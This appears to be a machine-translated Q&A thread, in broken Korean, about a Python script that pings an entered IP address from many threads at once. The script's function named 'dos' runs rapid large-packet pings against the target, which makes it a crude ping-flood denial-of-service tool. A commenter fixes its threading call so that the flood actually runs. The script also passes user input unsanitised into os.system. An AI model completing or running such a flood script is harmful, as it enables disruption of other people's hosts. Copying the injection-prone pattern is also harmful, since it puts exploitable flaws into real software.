나는 IP를 물어보고 많은 동시 PING을 수행 할 파이썬 스크립트를 만들려고 노력해 왔습니다.Python multithreading "ping"
하지만 난 단지 내가
import _thread
import os
import time
def main():
threadnbr = 0
ip = str(input("Input the ip adresse to play with? "))
threads = int(input("Have many threads? "))
check(ip)
if check(ip) == 0:
print("It is up")
else:
print("Is is down")
thread(ip, threads, threadnbr)
def thread(ip, threads, threadnbr):
while threads > threadnbr:
_thread.start_new_thread(dos(ip))
threadnbr = threadnbr + 1
else:
print(threadnbr, " started")
def check(ip):
response = os.system("ping -c 1 " + ip)
return response
def dos(ip):
os.system("ping -i 0.1 -s 8000 " + ip)
print("1")
main()
내가-IT 기술을 연구, 우리는 너무 예는 교육 목적을위한, ICMP에 대한 있습니다. 하지만 프로그램을 작성해야합니까? –
@JesperPetersen 당신은 아마 *'_thread.start_new_thread (dos, (ip,))'를 쓰고 싶었습니다. – goncalopp
다시 그걸 멈추게할까요? –